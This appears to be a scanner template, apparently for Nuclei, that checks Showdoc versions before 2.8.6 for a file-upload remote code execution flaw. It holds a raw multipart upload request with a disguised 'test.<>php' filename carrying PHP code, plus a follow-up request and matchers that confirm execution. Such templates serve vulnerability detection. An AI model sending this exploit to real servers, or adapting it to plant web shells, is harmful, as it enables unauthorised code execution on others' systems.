2021-04-21 19:34:21 +00:00
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id: showdoc-file-upload-rce
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info:
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name: Showdoc < 2.8.6 File Upload RCE
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author: pikpikcu
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severity: critical
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reference: https://github.com/star7th/showdoc/pull/1059
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requests:
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- raw:
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- |
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POST /index.php?s=/home/page/uploadImg HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
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Content-Length: 239
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Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633
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Accept-Encoding: gzip
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----------------------------835846770881083140190633
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Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
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Content-Type: text/plain
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<?php phpinfo();?>
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----------------------------835846770881083140190633--
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- |
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2021-05-09 20:03:27 +00:00
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GET /Public/Uploads{{url_decode("§path§")}} HTTP/1.1
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2021-04-21 19:34:21 +00:00
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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extractors:
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- type: regex
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2021-05-09 20:03:27 +00:00
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name: path
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2021-04-21 19:34:21 +00:00
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group: 1
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internal: true
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part: body
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regex:
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2021-05-09 20:03:27 +00:00
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- '/Uploads\\(.*?)"\,"success"'
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2021-04-21 19:34:21 +00:00
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "PHP Extension")'
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- 'contains(body_2, "PHP Version")'
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- 'status_code_2 == 200'
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condition: and
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